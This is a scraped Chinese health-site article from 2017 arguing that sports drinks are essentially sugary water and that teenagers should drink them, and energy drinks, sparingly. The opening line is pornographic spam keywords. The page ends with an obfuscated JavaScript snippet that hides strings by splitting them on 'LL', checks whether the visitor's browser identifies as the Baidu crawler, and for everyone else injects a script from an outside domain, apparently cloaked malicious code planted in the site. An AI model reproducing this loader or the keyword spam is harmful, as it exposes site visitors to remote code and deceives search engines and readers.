亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 健康 > 運動健身 > 正文

運動飲料的好處是什么?

2017-04-14 15:39:52  來源:360常識網(wǎng)   熱度:
導語:現(xiàn)在市面上出現(xiàn)了很多種的運動飲料,這些飲料口味比正常的飲料的甜味會少一些,包裝上面都顯示添加了維生素以及能量等,運動后喝了是可以迅

現(xiàn)在市面上出現(xiàn)了很多種的運動飲料,這些飲料口味比正常的飲料的甜味會少一些,包裝上面都顯示添加了維生素以及能量等,運動后喝了是可以迅速的幫助人們恢復能量和體力的。但是這種飲料和普通的果汁類的飲料以及碳酸飲料真的有不同嗎?下面的文章中將詳細的講一下運動飲料的作用。

每周飲用運動飲料者,看電視的時間顯然也更長;經(jīng)常飲用運動飲料的男孩與每周飲用運動飲料次數(shù)少于一次的男孩相比,他們看電視的時間長了一個小時,”

“每周至少喝一次能量飲料的男孩與每周飲用能量飲料次數(shù)少于一次的男孩相比,他們每周花在電子游戲上的時間高出了四個小時?!泵恐茱嬘眠\動飲料的青少年也更加活躍,更有可能參與有組織的運動,但作者說他們所需的能量并不不一定需要通過運動飲料來提供。“真的,只有在炎熱、潮濕的天氣時參加劇烈的體育活動的孩子才需要補充運動飲料,”拉森告訴每日健康新聞說:“如果他們經(jīng)常喝運動飲料可能會導致體重增加和蛀牙問題?!?/p>

另一方面,能量飲料,可能會過度刺激青少年的神經(jīng)系統(tǒng),因為這些飲料中的咖啡因劑量是針對成年人的體質(zhì)添加的??偟膩碚f,人們還未對能量飲料對兒童和青少年的影響的健康進行深入的研究,但這些飲料可能會干擾他們的睡眠,當然也會導致糖分攝入總量的增加。

從文章中我們可以知道,運動飲料和普通的飲料其實是一樣的,只是打著“運動健康”的幌子,其實歸根結底還是含糖量很高的水,并沒有很好的營養(yǎng)價值。所以不管是運動飲料,還是果汁飲料,還是碳酸飲料,這些都要少喝一點。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}